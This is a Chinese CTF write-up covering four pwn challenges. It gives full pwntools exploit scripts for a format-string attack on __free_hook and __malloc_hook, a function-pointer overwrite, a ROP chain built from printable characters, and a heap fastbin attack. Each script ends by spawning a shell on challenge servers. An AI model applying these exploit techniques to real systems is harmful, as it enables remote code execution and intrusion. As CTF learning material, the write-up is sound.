这个周末,连续两天的比赛让人吃不消,今天早上也是困的不行。因为是国际赛,题目质量感觉挺高(可能是因为我太菜了),这里做一个总结。这次总共做了四道pwn题,都是比较经典的漏洞利用。
EasiestPrintf
能够利用一次的字符串格式化漏洞,但是程序随机抬高栈顶,导致没有办法利用printf修改函数返回地址。加上程序执行printf后马上执行了exit(0)函数,所以必须在执行完printf函数后就能够控制eip
void __noreturn leave()
{
signed int i; // [sp+8h] [bp-B0h]@1
char s[160]; // [sp+Ch] [bp-ACh]@1
int v2; // [sp+ACh] [bp-Ch]@1
v2 = *MK_FP(__GS__, 20);
memset(s, 0, 0xA0u);
puts("Good Bye");
for ( i = 0; i <= 158; ++i )
{
if ( read(0, &s[i], 1u) != 1 )
exit(-1);
if ( s[i] == '\n' )
break;
}
printf(s);
exit(0);
}
但是,程序提供了一次读取任意地址数据的机会,这里我选择泄露libc的地址。printf函数在输出的内容较多的时候,会调用malloc分配缓冲区,输出结束后会调用free释放申请的内存。这里我的策略是先把_free_hook修改为leave函数的入口地址,同时往指定内存写入一个"sh\x00"字符串,第二次触发漏洞时修改__malloc_hook为system地址,输出的字符数量为保存"sh\x00"字符串的地址,那么在触发malloc操作时就可以getshell了。下面是完整的利用代码
from pwn import *
local = 0
debug = 0
if local:
p = process('./easyprintf')
libc = ELF('/lib32/libc-2.24.so')
else:
p = remote('202.120.7.210', 12321)
libc = ELF('libc.so.6')
if local and debug: gdb.attach(p, open('debug'))
p.recvuntil('you wanna read:')
exit_got = 0x08049FCC
read_got = 0x8049fc4
p.sendline(str(read_got))
print p.recvline()
read_addr = int(p.recvline(), 16)
print 'read_addr is', hex(read_addr)
base_addr = read_addr - libc.symbols['read']
print 'libc_base addr is', hex(base_addr)
free_hook_addr = base_addr + libc.symbols['__free_hook']
print 'free_hook addr is', hex(free_hook_addr)
leave_fun = 0x08048771
ret = 0x08048770
p.recvuntil('Good Bye')
def generate_format(addr_value):
payload = ''
print_count = 0
j = 0
addr_part = ''
for addr, value in addr_value:
for i in range(4):
one_byte = (value >> (8*i)) & 0xff
#print one_byte
payload += '%{0}c%{1}$hhn'.format((one_byte - print_count) % 0x100, 32 + i + j)
print_count += (one_byte - print_count) % 0x100
#print (one_byte - print_count) % 0x100
addr_part += p32(addr + i)
j += 4
payload = payload.ljust(100, 'a')
payload += addr_part
return payload
def generate_format_special(addr, value):
# 处理__malloc_hook地址中的换行符
payload = ''
addr_part = ''
print_count = 0
one_byte = value & 0xff
payload += '%{0}c%{1}$hhn'.format((one_byte - print_count) % 0x100, 32)
print_count += (one_byte - print_count) % 0x100
addr_part += p32(addr)
one_byte = (value >> 8) & 0xffff
payload += '%{0}c%{1}$hn'.format((one_byte - print_count) % 0x10000, 33)
print_count += (one_byte - print_count) % 0x10000
addr_part += p32(addr + 1)
one_byte = (value >> 24) & 0xff
payload += '%{0}c%{1}$hhn'.format((one_byte - print_count) % 0x100, 34)
print_count += (one_byte - print_count) % 0x100
addr_part += p32(addr+3)
payload = payload.ljust(100, 'a')
payload += addr_part
return payload
bss_addr = 0x804a0b0
payload = generate_format([(free_hook_addr, leave_fun), (bss_addr, u32('sh\x00\x00'))])
payload += '%1000000cEND'
assert len(payload) <= 158
print payload
p.sendline(payload)
#p.recvuntil('Good Bye')
malloc_hook_addr = base_addr + libc.symbols['__malloc_hook']
print 'malloc_hook_addr is', hex(malloc_hook_addr)
system_addr = base_addr + libc.symbols['system']
print 'system_addr is', hex(system_addr)
if local:
payload = generate_format([(malloc_hook_addr, system_addr)])
else:
payload = generate_format_special(malloc_hook_addr, system_addr)
payload += '%{0}c'.format(bss_addr - 0x20)
p.sendline(payload)
p.interactive()
diethard
这道题并没有找到漏洞的原因,做的时候随手试了一下,发现可以覆盖函数指针,于是就有了下面的代码
from pwn import *
debug = 1
slog = 0
local = 0
if local:
p=process('./diethard')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
else:
p = remote('202.120.7.194', 6666)
libc = ELF('libc.so')
if slog: context.log_level = True
def add(length,message = 'a'):
print p.recvuntil('Exit')
p.sendline('1')
p.recvuntil('Length:')
p.sendline(str(length))
p.recvuntil('Message:')
p.sendline(message)
def delete(index):
p.recvuntil('Exit')
p.sendline('2')
p.recvuntil('Delete?')
p.sendline(str(index))
def exit():
p.recvuntil('Exit')
p.sendline('3')
binf = ELF('diethard')
add(100)
add(100)
add(100)
add(1000, 'a')
add(1000, 'b')
delete(0)
add(2046, 'e'*16 + p64(binf.got['puts']) + p64(binf.plt['puts']))
if debug and local: gdb.attach(pidof(p)[-1],open('debug'))
p.recvuntil('Exit')
p.sendline('2')
p.recvuntil('3. ')
puts_addr = u64(p.recv(6).ljust(8, '\x00'))
print 'puts addr is', hex(puts_addr)
base_addr = puts_addr - libc.symbols['puts']
print 'libc base_addr is', hex(base_addr)
system_addr = base_addr + libc.symbols['system']
print 'system addr is', hex(system_addr)
bin_sh_addr = base_addr + next(libc.search('/bin/sh'))
print '/bin/sh addr is', hex(bin_sh_addr)
p.recvuntil('Delete?')
p.sendline(str(0))
add(2046, 'e'*16 + p64(bin_sh_addr) + p64(system_addr))
p.recvuntil('Exit')
p.sendline('2')
p.interactive()
char
这道题一度想要放弃,但是看到那么多的队伍都出了,最终还是坚持做完了。
程序在初始化阶段把libc.so映射到了0x5555E000代码段中,权限为r_x,接着用scanf读入一个字符串,并限制字符范围在1E到7F之间,后面用strcpy触发栈溢出。那么很明显,本题就是用希望我们用可见字符来创建rop链,但是对输入的过滤导致很多gadget都不能使用。一开始想到了用gets和read函数来读入字符串,但是函数执行到一半就奔溃了,调试之后我认为程序当中只是对libc做了一个映射,但并没有初始化相关环境变量(比如stdout,stdin),所以导致函数没有办法正常执行。没有办法,只能控制寄存器去调int 80了。但是很多重要的gadget都没有办法直接使用,因此必须先寻找一个跳板
0x0001706b : pop eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0006812c : add esi, ebx ; ret
0x00119a49 : jmp esi
这三个gadget的组合可以极大的拓展可调用gadget的范围,剩下的就是寻找合适的gadget去控制寄存器了
from pwn import *
local = 0
if local:
p = process('./char')
else:
p = remote('202.120.7.214', 23222)
#gdb.attach(p, open('debug'))
p.recvuntil('GO')
jmp_esi = p32(0x55677a49)
add_esi_ebx = p32(0x555c612c)
pop_ebx_esi_edi_ebp = p32(0x5557506c)
def pop_eax_ebx_esi_edi_ebp(eax = 0x61616161, ebx = 0x61616161, esi = 0x61616161, edi = 0x61616161, ebp = 0x61616161):
return p32(0x5557506b) + p32(eax) + p32(ebx) + p32(esi) + p32(edi) + p32(ebp)
def pop_ebx_esi_edi_ebp(ebx = 0x61616161, esi = 0x61616161, edi = 0x61616161, ebp = 0x61616161):
return p32(0x5557506c) + p32(ebx) + p32(esi) + p32(edi) + p32(ebp)
# call read
payload = 'a'*32 + pop_ebx_esi_edi_ebp(ebx = 0x21212121, esi = 0x344a5f57) + add_esi_ebx + jmp_esi
payload += p32(0x55643028) + p32(0x55643028)
payload += pop_ebx_esi_edi_ebp(ebx = 0x34425a7c, esi = 0x2121717b) + add_esi_ebx + p32(0x55643028) + jmp_esi
payload += p32(0x5566797b) + jmp_esi
assert len(payload) < 1500
payload = payload.ljust(1500, 'A')
p.sendline(payload)
# write new ropgadget
p.sendline('a'*96 + p32(0x5565a1f1) + p32(0) + p32(0) + p32(0x556bb7ec) + p32(0x55650781) + p32(0xb) + p32(0x55667177))
p.interactive()
babyheap
十分明显的堆溢出,但程序开启了PIE,从堆上没有办法泄露代码段地址信息,但可以泄露堆地址和libc地址,然后再利用fastbin attack去修改__free_hook。因为程序使用的是calloc分配内存,所以通过直接分配新内存去泄露地址是不可行的。这里可以先分配一块比较大的内存,然后通过fastbin attack去在这一块内存中间分配一块小内存,这样就可以通过输出大块内存内容的方式泄露地址信息了。泄露过程如下
allocate(200) #0
fill(0, 0x40, 'a'*16 + p64(0) + p64(0x21) + p64(0)*3 + p64(0x91) + p64(0)*13 + p64(0x21))
allocate(10) #0,1
allocate(10) #0,1,2
allocate(10) #0,1,2,3
allocate(10) #0,1,2,3,4
allocate(10) #0,1,2,3,4,5
delete(1) #0,2,3,4,5
delete(3) #0,2,4,5
fill(2, 0x21, 'a'*0x10 + p64(0) + p64(0x21) + '\x20')
allocate(10) #0,1,2,4,5
allocate(10) #0,1,2,3,4,5
delete(1) #0,2,3,4,5
delete(3) #0,2,4,5
fill(0, 0x20, 'a'*0x20)
dump(0)
p.recvuntil('a'*0x20)
heap_addr = u64(p.recv(8))
print 'heap addr is', hex(heap_addr)
fill(0, 0x20, 'a'*0x10 + p64(0) + p64(0x21))
allocate(30) #0,1,2,4,5
allocate(0x100)
delete(3)
fill(0, 0x20, 'a'*0x20)
dump(0)
p.recvuntil('a'*0x20)
main_arena_addr = u64(p.recv(8))
print 'main_arena addr is', hex(main_arena_addr)
完成了第一步,接下来就是想办法去修改_free_hook变量了。实际在测试的时候发现,_free_hook前面相邻的区域全部是0,并没有办法通过fastbin attack在其附近区域分配内存(fastbin attack分配条件:具备对应大小的堆头信息,举个例子,如果想要分配0x70大小的内存,那么在指定地址上,应该出现0x81或0x80)。做到这里卡了很久,于是去买了一盒炒饭(做了一天,肚子快要饿爆了),吃完了饭,抱着随便看看心态继续看题,突然灵光乍现(看来还是应该按时吃饭),为什么不去自己构造一个堆头呢?那么问题来了,怎么在堆上写入0x80呢,答案还是fastbin attack
那么接下来我们就可以fastbin attack得到指向main_arena的指针了,然后这个指针去修改top指针,这里我们将其指向__free_hook前较近的一段不为0的区域就可以了。再次调用malloc就可以获得top指针指向的内存,到这里,本题的坑基本就完了,下面是完整的利用代码:
from pwn import *
slog = 0
local = 1
debug = 0
if slog: context.log_level = True
if local:
p = process('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
else:
p = remote('202.120.7.218', 2017)
def allocate(size):
p.recvuntil('Command:')
p.sendline('1')
p.recvuntil('Size')
p.sendline(str(size))
def fill(index, size, content):
p.recvuntil('Command:')
p.sendline('2')
p.recvuntil('Index')
p.sendline(str(index))
p.recvuntil('Size')
p.sendline(str(size))
p.recvuntil('Content')
p.sendline(content.ljust(size, 'a'))
def delete(index):
p.recvuntil('Command:')
p.sendline('3')
p.recvuntil('Index')
p.sendline(str(index))
def dump(index):
p.recvuntil('Command:')
p.sendline('4')
p.recvuntil('Index')
p.sendline(str(index))
allocate(200) #0
fill(0, 0x40, 'a'*16 + p64(0) + p64(0x21) + p64(0)*3 + p64(0x91) + p64(0)*13 + p64(0x21))
allocate(10) #0,1
allocate(10) #0,1,2
allocate(10) #0,1,2,3
allocate(10) #0,1,2,3,4
allocate(10) #0,1,2,3,4,5
delete(1) #0,2,3,4,5
delete(3) #0,2,4,5
fill(2, 0x21, 'a'*0x10 + p64(0) + p64(0x21) + '\x20')
allocate(10) #0,1,2,4,5
allocate(10) #0,1,2,3,4,5
delete(1) #0,2,3,4,5
delete(3) #0,2,4,5
fill(0, 0x20, 'a'*0x20)
dump(0)
p.recvuntil('a'*0x20)
heap_addr = u64(p.recv(8))
print 'heap addr is', hex(heap_addr)
fill(0, 0x20, 'a'*0x10 + p64(0) + p64(0x21))
allocate(30) #0,1,2,4,5
allocate(0x100)
delete(3)
fill(0, 0x20, 'a'*0x20)
dump(0)
p.recvuntil('a'*0x20)
main_arena_addr = u64(p.recv(8))
print 'main_arena addr is', hex(main_arena_addr)
fill(0, 0x20, 'a'*0x10 + p64(0) + p64(0x21))
allocate(0x70)
delete(3)
free_hook = main_arena_addr + 0x7f629d74c788 - 0x7f629d74ab58
base_addr = free_hook - 0x39a788
fake_fastbin = base_addr + 0x39a7d0 - 8
system_addr = libc.symbols['system'] + base_addr
print 'free hook is', hex(free_hook)
print 'base addr is', hex(base_addr)
print 'fake_fastbin addr is', hex(fake_fastbin)
print 'system aadr is', hex(system_addr)
#fill(1, 0x38, 'a' * 0x20 + p64(0) + p64(0x81) + p64(fake_fastbin))
fill(1, 0x38, 'a' * 0x20 + p64(0) + p64(0x81) + p64(0x30))
allocate(0x70)
delete(1)
fill(5, 0x28, 'a'*24 + p64(0x31) + p64(main_arena_addr - 0x28))
allocate(0x20)
if debug and local: gdb.attach(p, open('debug'))
allocate(0x20)
payload = p64(0) * 3 +p64(base_addr + 0x399c30)
fill(6, len(payload), payload)
allocate(0x50)
payload = '\x00'*0xb48 + p64(system_addr)
fill(7, len(payload), payload)
payload = '/bin/sh\x00'
fill(7, len(payload), payload)
delete(7)
p.interactive()